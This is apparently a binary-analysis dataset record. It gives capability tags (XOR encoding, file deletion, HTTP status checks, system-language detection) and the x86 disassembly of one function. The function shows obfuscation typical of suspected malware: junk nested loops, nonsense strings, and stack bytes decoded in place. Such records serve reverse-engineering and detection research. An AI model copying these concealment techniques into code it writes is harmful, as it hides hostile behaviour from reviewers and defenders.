Function at 0x1000cd66
Capabilities:
Allocate thread local storage
Check http status code
Delete file
Encode data using xor
Get graphical window text
Identify system language via api

Disassembly:
mov eax, 0x1006331d
call fcn.100628b0
sub esp, 0x5a4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x78], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], 0x7d8e6e83
mov dword [ebp - 0x14], 0x6f7c
cmp dword [ebp - 0x14], 0x6fdb
jle 0x1000cdfc
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
lea eax, [ebx + edi]
xor eax, ecx
mov ecx, 0x1007f2b8
xor eax, esi
cdq
push edx
push eax
call fcn.1000473c
mov ecx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x1c5c
jl 0x1000cdb8
inc ebx
push 0
mov dword [ebp - 0x2c], ebx
cmp ebx, 0x67fa
pop ebx
jl 0x1000cdb0
inc edi
cmp edi, 0x6064
jl 0x1000cdad
inc esi
cmp esi, 0x68ea
jl 0x1000cdab
mov dword [ebp - 0x28], 0xc2251554
mov byte [ebp - 4], 1
cmp dword [ebp - 0x14], 0x6cf4
jge 0x1000ce3d
mov edx, str.fwokmef_heoc_oyhsbo_cbz_yrky_qfwb_jqchq_ticvrvevs_vemqq_axjj_gem
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000ce3d
mov dword [ebp - 4], ebx
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
cmp edx, 0x2071
jge 0x1000cf88
xor ecx, ecx
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x1000ce72
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x170], 0x5059b8bc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000ce61
push ecx
push ecx
push ebx
push 0x1cd8
push 0x66e4
mov byte [ebp - 0x51], bl
lea ecx, [ebp - 0x51]
push 0x2a6d
mov edx, 0x75d8
call fcn.1000c592
add esp, 0x18
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x1000cfab
mov dword [ebp - 0x14], 0x3da5
cmp dword [ebp - 0x14], 0x4117
jle 0x1000cefd
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x18], 0x5fee
mov ebx, edi
mov esi, 0x3d8f
mov eax, ebx
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
inc ebx
dec esi
jne 0x1000ced1
mov esi, dword [ebp - 0x2c]
add edi, esi
dec dword [ebp - 0x18]
jne 0x1000ceca
inc esi
mov dword [ebp - 0x2c], esi
push 0
pop ebx
cmp esi, 0x2623
jl 0x1000cec1
mov dword [ebp - 0x24], 0x923ccde6
mov byte [ebp - 4], 3
cmp dword [ebp - 0x14], 0x3c04
jge 0x1000cf3e
mov edx, str.wwx_gmagjw_jtl_mexuhy_kxuyqeg_ccc_akfbvk_oaigi_qfsxz_vip_ictcmkl
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000cf3e
mov dword [ebp - 4], ebx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + eax*4 - 0x170]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x170]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setg cl
add ecx, 0xfffe
mov dword [ebp + eax*4 - 0x170], ecx
lea eax, [ecx + 0x52bf3388]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x28], ebx
jne 0x1000cfab
dec dword [ebp - 0x1c]
jmp 0x1000ce9f
mov dword [ebp - 0x28], 0xffffffee
jmp 0x1000cfa5
lea eax, [ebp - 0x4a]
mov byte [ebp - 0x4a], bl
push eax
push ecx
mov cl, 1
call fcn.1000c133
inc dword [ebp - 0x28]
pop ecx
pop ecx
cmp dword [ebp - 0x28], 0x10
jle 0x1000cf91
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
mov byte [ebp - 4], 5
mov dword [ebp - 0x18], 0x669d
cmp dword [ebp - 0x18], 0x6928
jle 0x1000d02d
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
mov edi, ebx
add eax, esi
mov ecx, edi
sar eax, cl
lea ecx, [ebp - 0x450]
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000cff8
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x450]
call fcn.10004d7a
mov eax, dword [ebp - 0x14]
inc edi
cmp edi, 0x1ed3
jl 0x1000cfda
inc esi
cmp esi, 0x5c1b
jl 0x1000cfd8
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x448b
jl 0x1000cfd6
mov dword [ebp - 0x218], 0xe1757117
cmp dword [ebp - 0x18], 0x62f1
jge 0x1000d04b
push str.jxxwitrn_efqttzp_mycvbwpr_qkw_hvctgk_nbp_wtmlloxnr_nhgecy_nzdvvkxdl
call fcn.1004b583
pop ecx
push 0x3df7
push 1
push ebx
push 0x5858
mov dword [ebp - 4], 5
lea edx, [ebp - 0x218]
mov dword [ebp - 0x1f4], 0xf1dbeccc
lea ecx, [ebp - 0x1f4]
push 1
call fcn.1000c9ba
mov dword [ebp - 0x24], 0x4960
add esp, 0x14
cmp dword [ebp - 0x24], 0x4c57
jle 0x1000d0e0
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x18], 0x1970
mov eax, edi
lea ecx, [ebp - 0x480]
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000d0bb
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.10004d7a
add edi, esi
dec dword [ebp - 0x18]
jne 0x1000d0a1
inc esi
cmp esi, 0x5aa1
jl 0x1000d098
mov dword [ebp - 0x28], 0x730f94f3
or edi, 0xffffffff
mov dword [ebp - 0x2c], 0x8382bdb9
mov dword [ebp - 0x20], 0x34859bb
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1000d11b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x22c], 0x4ec2e0cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000d10a
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x1000d22a
mov esi, 0x585c
mov dword [ebp - 0x14], 0xe3580d4
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x1c], ebx
jmp 0x1000d15a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x380], 0xd8b9dbea
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000d149
mov dword [ebp - 0x1c], ebx
jmp 0x1000d176
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2b8], 5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000d165
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x2b8]
imul ecx, eax
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
cmp eax, ecx
jl 0x1000d19e
xor edx, edx
inc edx
jmp 0x1000d1a0
mov edx, ebx
mov dword [ebp - 0x20], 0xcc099a56
cmp dword [ebp - 0x20], ebx
je 0x1000d1b1
xor ecx, ecx
inc ecx
jmp 0x1000d1b3
mov ecx, ebx
xor eax, eax
cmp edx, ecx
setl al
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x20], 0xfffffff0
jmp 0x1000d21b
mov dword [ebp - 0x1c], ebx
jmp 0x1000d212
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x22c]
test eax, eax
mov dword [ebp - 0x378], esi
mov eax, dword [ebp - 0x2b8]
setne cl
xor edx, edx
mov dword [ebp - 0x14], ecx
cmp eax, esi
mov eax, dword [ebp - 0x2b8]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setl cl
add ecx, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x22c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x1000d1ce
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 9
jne 0x1000d1c9
dec dword [ebp - 0x28]
jns 0x1000d136
mov dword [ebp - 0x20], ebx
jmp 0x1000d26a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x22c], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x1000d22f
cmp dword [ebp - 0x24], 0x460e
jge 0x1000d284
push str.zna_tyodzmxj_qcftdes_qhysg_sstklrku_dzoavwl_rhbu_hehmadiby_imj_htxhjr_wgdvcktjv
call fcn.1004b583
pop ecx
mov dword [ebp - 4], 5
mov ecx, ebx
push 0x65
pop eax
push 2
mov dword [ebp - 0xac], 0x2606b504
mov dword [ebp - 0xa8], 0x1b0b3709
mov dword [ebp - 0xa4], 0x39010e01
mov word [ebp - 0xa0], 0xf08
mov byte [ebp - 0x9e], bl
mov dword [ebp - 0x9d], 0x3310a2d
mov dword [ebp - 0x99], 0x2040c1a
mov dword [ebp - 0x95], 0x50c070f
mov byte [ebp - 0x91], 0x42
mov word [ebp - 0x350], ax
pop esi
mov dword [ebp - 0x154], ecx
cmp esi, 0xa
jne 0x1000d302
push 2
pop ecx
mov dword [ebp - 0x154], ecx
jmp 0x1000d350
movzx edx, byte [ebp + esi - 0xab]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xae]
movzx eax, word [ebp + eax*2 - 0x358]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0xac]
mov word [ebp + eax*2 - 0x358], cx
lea eax, [ebp - 0x154]
push eax
push ebx
mov ecx, 0x5a51
call fcn.1000c8e5
pop ecx
pop ecx
mov ecx, dword [ebp - 0x154]
add esi, 2
cmp esi, 0x1c
jb 0x1000d2f2
xor eax, eax
mov word [ebp - 0x33e], ax
mov dword [ebp - 0x20], 0xc04ccb63
mov dword [ebp - 0x14], 0x7278fa8f
mov dword [ebp - 0x18], 0xdf3
cmp dword [ebp - 0x18], 0x1015
jle 0x1000d3c2
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov ebx, esi
mov esi, 0x4e7b
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
dec ebx
dec esi
jne 0x1000d38d
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x60e1
jl 0x1000d386
inc edi
push 0
pop ebx
cmp edi, 0x3d1a
jl 0x1000d381
or edi, 0xffffffff
mov dword [ebp - 0x28], 6
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], 0xc58
jge 0x1000d406
mov edx, str.kiwdwxc_xrlw_xptfcxkni_cgfvjohbd_dqdlspm
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000d406
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], 0x3090707e
push 2
call fcn.100049ee
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x24], 0x125b
mov dword [ebp - 0x3c], ebx
jmp 0x1000d442
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x5c], 6
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 1
jl 0x1000d434
mov dword [ebp - 0x3c], ebx
jmp 0x1000d45e
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x334], 0xded1
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jl 0x1000d44d
push 1
push ecx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x294]
call fcn.1000c0fd
add esp, 0xc
cmp dword [ebp - 0x20], ebx
jne 0x1000d4a1
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setne dl
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x28], ebx
jne 0x1000d4ab
cmp dword [ebp - 0x1c], ebx
je 0x1000d4ae
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jle 0x1000d4d0
sub esp, 0xc
mov dl, 1
push 0x331e
sub esp, 0xc
call fcn.1000c209
add esp, 0x1c
jmp 0x1000d6b1
xor eax, eax
inc eax
push 0x1047
push ecx
mov dword [ebp - 0x20], eax
xor cl, cl
mov dword [ebp - 0x18], eax
call fcn.1000c133
mov dword [ebp - 0x1c], ebx
pop ecx
pop ecx
cmp dword [ebp - 0x1c], ebx
jl 0x1000d6b1
mov edi, dword [ebp - 0x294]
mov dword [ebp - 0x14], 0x44f34d89
lea ecx, [ebp - 0x264]
push 3
call fcn.100049ee
push ebx
push 1
push 1
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x264]
mov edx, 0x3d60
push eax
push 0x1cae
mov ecx, 0x1068
call fcn.1000c592
add esp, 0x18
cmp dword [ebp - 0x20], ebx
jne 0x1000d545
mov eax, ebx
jmp 0x1000d548
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x334]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, 0xfffa
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x5c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov dword [edi + 4], 0xfffffffe
mov dword [ebp - 0x14], 0xfffffffe
cmp dword [ebp - 0x14], ebx
jne 0x1000d5f7
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
imul ecx, eax
mov eax, dword [ebp - 0x264]
mov dword [eax + 8], ecx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x5c]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, 0xfffffff9
setne dl
imul edx, dword [ebp + eax*4 - 0x5c]
test edx, edx
je 0x1000d5f4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
or ecx, 0xffffffff
mov edx, dword [ebp + eax*4 - 0x5c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
setne cl
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jg 0x1000d696
mov esi, dword [ebp - 0x264]
mov dword [ebp - 0x14], ebx
jmp 0x1000d637
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x230], 0xf992ce4c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1000d626
mov eax, dword [esi + 4]
mov ecx, 0xa7464c66
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x230]
sbb ecx, ecx
mov dword [edi + 4], 0x40743585
xor edx, edx
inc ecx
cmp eax, ecx
mov ecx, 0x6e99
setl dl
mov dword [esi + 8], edx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
neg edx
mov eax, dword [ebp + eax*4 - 0x5c]
sub ecx, edx
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1000d621
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 0xc
call fcn.10004a4b
dec dword [ebp - 0x1c]
jns 0x1000d4fa
or edi, 0xffffffff
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 5
call fcn.10004a4b
mov dword [ebp - 0x14], 0xfffb
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x24], 0x9bf5e4d8
mov dword [ebp - 0x28], 0x20410224
mov dword [ebp - 0x30], 0xae89405d
mov dword [ebp - 0x274], ebx
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1000d717
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x374], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000d70a
mov dword [ebp - 0x1c], ebx
jmp 0x1000d733
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3a0], 0xbfcf419c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1000d722
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
dec ecx
neg ecx
push 0x2d
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
inc edx
sub edx, ecx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
dec ecx
mov dword [ebp - 0x370], ecx
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x39c], eax
dec dword [ebp - 0x268]
pop eax
push 2
mov dword [ebp - 0x90], 0x4c047602
mov dword [ebp - 0x8c], 0x42010e01
mov dword [ebp - 0x88], 0xd060a07
mov word [ebp - 0x84], 0xb05
mov byte [ebp - 0x82], bl
mov word [ebp - 0x81], 0x30d
mov byte [ebp - 0x7f], 0xd
mov word [ebp - 0x284], ax
pop esi
mov dword [ebp - 0x16c], ecx
cmp esi, 6
jne 0x1000d887
mov dword [ebp - 0x16c], 2
mov dword [ebp - 0x30], 0x765b
cmp dword [ebp - 0x30], 0x7773
mov dword [ebp - 0x40], esi
jle 0x1000d8e3
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x18]
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1007f2b8
and eax, ebx
cdq
push edx
push eax
call fcn.1000473c
inc esi
cmp esi, 0x4119
jl 0x1000d83d
inc edi
push 0
pop ebx
cmp edi, 0x7599
jl 0x1000d838
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x26a
jl 0x1000d836
mov esi, dword [ebp - 0x40]
push 1
push 0x10cf
call dword [sym.imp.USER32.dll_FlashWindow]
jmp 0x1000d8e3
movzx edx, byte [ebp + esi - 0x8f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x92]
movzx ecx, word [ebp + eax*2 - 0x288]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x90]
add ecx, edx
mov edx, 0x6327
mov word [ebp + eax*2 - 0x288], cx
lea eax, [ebp - 0x16c]
push eax
push ebx
push ecx
push 0x5793
push 0x7bc6
push ecx
push 0x31a5
call fcn.1000bf9f
add esp, 0x1c
add esi, 2
cmp esi, 0x12
jae 0x1000d8f6
mov ecx, dword [ebp - 0x16c]
jmp 0x1000d80d
xor eax, eax
mov dword [ebp - 0x304], 7
mov word [ebp - 0x278], ax
lea ecx, [ebp - 0x318]
mov word [ebp - 0x318], ax
lea eax, [ebp - 0x288]
push eax
mov dword [ebp - 0x308], ebx
call fcn.1000b67d
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2f4]
xor eax, eax
mov dword [ebp - 0x2e0], 7
mov word [ebp - 0x2f4], ax
lea eax, [ebp - 0x358]
push eax
mov dword [ebp - 0x2e4], ebx
call fcn.1000b67d
lea eax, [ebp - 0x2f4]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.1000bc49
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x3d8]
call fcn.1000bc49
push ebx
push 1
lea ecx, [ebp - 0x2f4]
call fcn.10005081
push ebx
push 1
lea ecx, [ebp - 0x318]
call fcn.10005081
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x3c0]
push dword [ebp - 0x234]
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
push eax
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x198], ebx
push eax
push ebx
mov dword [ebp - 0x194], ebx
call fcn.1000ff46
push fcn.1000f53c
push 1
push 0x30
lea eax, [ebp - 0x3f0]
mov byte [ebp - 4], 0x13
push eax
call fcn.1004b33b
mov dword [ebp - 0x28], ebx
lea ecx, [ebp - 0x1d8]
push 1
call fcn.100049ee
xor edx, edx
mov byte [ebp - 4], 0x14
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x20], ebx
jmp 0x1000da1b
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1d8]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1000da0c
mov dword [ebp - 0x20], ebx
jmp 0x1000da36
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x15c], 0x80d68f98
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000da25
mov dword [ebp - 0x20], ebx
jmp 0x1000da4f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7c], 7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1000da41
mov dword [ebp - 0x24], 0x1e3d
cmp dword [ebp - 0x24], 0x202b
jle 0x1000dab4
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4c8]
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000da86
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c8]
call fcn.10004d7a
inc esi
cmp esi, 0x18fd
jl 0x1000da68
inc edi
cmp edi, 0x1802
jl 0x1000da66
push ebx
call dword [sym.imp.USER32.dll_DestroyIcon]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov edi, 0xffff
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setg dl
add edx, edi
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1d8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
xor edx, edx
inc edx
cmp ecx, edx
jle 0x1000dbde
mov dword [ebp - 0x1c], 0x137d3709
mov ecx, ebx
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x1c], ebx
je 0x1000db28
mov ecx, edx
xor eax, eax
test ecx, ecx
setns al
sub eax, dword [ebp - 0x1c]
je 0x1000db39
cmp dword [ebp - 0x1c], ebx
jne 0x1000db3b
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x158]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
imul eax, ecx
test eax, eax
je 0x1000db73
cmp dword [ebp - 0x15c], ebx
je 0x1000db73
xor eax, eax
inc eax
jmp 0x1000db75
mov eax, ebx
xor ecx, ecx
or esi, 0xffffffff
cmp eax, esi
mov eax, dword [ebp - 0x158]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x7c]
setge dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1d8]
cmp dword [eax], ecx
setge dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x4d7e
mov eax, dword [ebp - 0x1d8]
setl cl
cmp edi, ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x158], eax
jmp 0x1000dc48
mov dword [ebp - 0x14], 0xab83
or esi, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x14], esi
mov edx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x158], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x18]
cmp eax, 1
setge dl
xor ecx, ecx
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x14]
cmp edx, eax
mov eax, dword [ebp - 0x1d8]
setne cl
xor edx, edx
cmp ecx, dword [eax]
setg dl
sub edx, 0x8b20606
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x24], 0x1bf4
jge 0x1000dc5c
push str.mochr_sjopls_vnr_yoifwn_govb_fpzq_vltef_eazbrlk_rrifr_lcrm_xsv_cmmwcvo
call fcn.1004b583
pop ecx
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 4], 0x13
call fcn.10004a4b
xor eax, eax
lea edi, [ebp - 0x358]
push 7
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x288]
mov cl, 1
stosd dword es:[edi], eax
push 0x7505
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.1000c3f3
pop ecx
lea eax, [ebp - 0x19c]
xor dl, dl
push eax
lea eax, [ebp + 8]
push eax
call fcn.1000c6dc
mov dword [ebp - 0x14], esi
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x1000dcce
mov dword [ebp - 0x30], 0xacd7
lea edx, [ebp - 0x52]
mov byte [ebp - 0x52], bl
mov ecx, 0x3e0d
push 1
call fcn.1000c315
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
pop ecx
jne 0x1000dcaf
push 4
lea ecx, [ebp - 0x200]
